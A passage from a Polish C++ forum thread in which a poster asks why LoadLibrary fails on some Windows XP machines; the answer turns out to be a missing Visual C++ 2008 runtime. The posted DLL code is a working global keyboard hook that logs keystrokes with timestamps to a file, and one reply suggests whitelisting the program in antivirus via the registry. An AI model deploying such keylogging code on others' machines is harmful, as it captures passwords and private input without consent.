[VS C++ 2008 MFC] Problem z LoadLibrary

0

Witam,
Napisałem program, którego jednym z zadań jest załadowanie biblioteki DLL. Poniżej kod ładujący bibliotekę DLL:

//Ladujemy biblioteke haki.dll
		////////////
		TCHAR path666[MAX_PATH];
		SHGetSpecialFolderPath(NULL, path666, CSIDL_PROGRAM_FILES , FALSE);
		CString folder1111 = path666;
		CString folder2222 = "\\ProcBlocker\\haki.dll";
		folder1111= folder1111 + folder2222;

		////////////
		typedef void (*pFun)();
		HINSTANCE dllHandle = ::LoadLibrary(folder1111);
		if(dllHandle == NULL)
		{
			this->MessageBox("Biblioteka haki.dll nie zostala zaladowana");
		}
		pFun pHak = (pFun)::GetProcAddress(dllHandle, (LPCSTR)"_UstawHak@0");
		if(pHak == NULL)
		{
			this->MessageBox("Blad ladowania funkcji haka");
		}
		pHak();

Program ładuje bibliotekę poprawnie tylko na niektórych komputerach na których program był testowany. Na pozostałych maszynach program wywala błąd : Biblioteka haki.dll nie zostala zaladowana co oznacza, że uchwyt do biblioteki równy jest NULL.
Poniżej kod biblioteki DLL:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "windows.h"
#include <time.h>

//uchwyt do biezacej biblioteki DLL
HMODULE uchwytDLL = NULL;
int licznik = 0;
int z = 0;
char buf1;
char buf2 = ' ';

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{		
		case DLL_PROCESS_ATTACH:
			uchwytDLL = hModule;
			break;
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

//deklaracja procedury haka
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam);

//uchwyt do haka
HHOOK uchwytHaka = NULL;

//funkcja zakladajaca hak
extern "C" __declspec(dllexport) void __stdcall UstawHak(void)
{
    uchwytHaka = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardHookProc,uchwytDLL,NULL);
    if (uchwytHaka == NULL) MessageBox(NULL, L"Założenie haka nie powiodło się", L"KeyHook",MB_OK | MB_ICONERROR);
    //else MessageBox(NULL, L"Założenie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
}

//funkcja usuwajaca hak
extern "C" __declspec(dllexport) void __stdcall UsunHak(void)
{
	if (UnhookWindowsHookEx(uchwytHaka)) MessageBox(NULL, L"Usunięcie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
	//else MessageBox(NULL, L"Usunięcie haka nie powiodło się", L"KeyHook", MB_OK | MB_ICONERROR);
}

/*
//pobrzekujaca procedura haka
LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
    if (code>=HC_ACTION)
    {
        if((lParam & 0x80000000)==0) Beep(150,50);
        else Beep(50,50);
    }
    return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}
*/

//procedura haka zapisujace naciskane klawisze
#include <fstream>

LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
    if (code>=HC_ACTION)
    {
        //zapis do pliku
		std::ofstream txt("C:\\Program Files\\ProcBlocker\\LogiKlawiatura\\Klawisze.log",std::ios::app);
		if(z == 0)
		{
			txt << "\n";
			z = 1;
		}
		if ((lParam & 0x80000000)==0)
        {
			buf1 = (char)wParam;
			if(buf1 != buf2)
			{
            txt << (char)wParam;
			licznik = licznik + 1;
			buf2 = buf1;
			}
        }

		if(licznik == 50)
		{
			for(int j=0; j<10; j++)
			{
			txt <<' ';
			}
			char data[15];
			_strdate_s(data, 15);
			for(int i=0; i<8; i++)
			{
				txt << data[i];
			}
			for(int j=0; j<4; j++)
			{
			txt <<' ';
			}
			char czas[15];
			_strtime_s(czas, 15);
			for(int k=0; k<8; k++)
			{
				txt << czas[k];
			}
			txt << '\n';
			licznik = 0;
		}
        txt.close();
    }
    return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}

Proszę o pomoc</cpp>

0

A na tych innych kompach progs też siedzi w Program Files? I czy ma uprawnienia do grzebania tam?
Nie jestem pewien czy niektóre antyviry nie zablokują takiej dll'ki próbującej założyć hooka

0

Po 1: na systemach Win Vista i Win 7 program musisz uruchamiać z prawami administratora.
Po 2: musisz dodać program do aplikacji zaufanych w antywirze (robisz to przez rejestry windowsowskie)

0

Witam,
Problem istnieje na komputerach z systemem Windows XP, choć nie wszystkich. Na moim kompie też mam XP, a biblioteka ładuje się poprawnie (nie dodawałem żadnych wyjątków do programu antywirusowego). Nie wydaje mi się aby to program antywirusowy blokował ładowanie biblioteki ponieważ błąd wyskakuje na etapie ładowania samej biblioteki:

HINSTANCE dllHandle = ::LoadLibrary(folder1111);
                if(dllHandle == NULL)
                {
                        this->MessageBox("Biblioteka haki.dll nie zostala zaladowana");
                }

a nie na etapie zakładania haka:

pFun pHak = (pFun)::GetProcAddress(dllHandle, (LPCSTR)"_UstawHak@0");
                if(pHak == NULL)
                {
                        this->MessageBox("Blad ladowania funkcji haka");
                }
                pHak();

Dodatkowo jest ten sam problem gdy program antywirusowy jest wyłączony.
Jestem pewien, że biblioteka za każdym razem znajduje się w poprawnym miejscu w katalogu Program Files / ProcBlocker.

POZDRAWIAM

0

Witam,
Na komputerach, na których był problem z ładowaniem biblioteki pomogło zainstalowanie Microsoft Visual C++ 2008 Redistributable Package.

POZDRAWIAM

1 użytkowników online, w tym zalogowanych: 0, gości: 1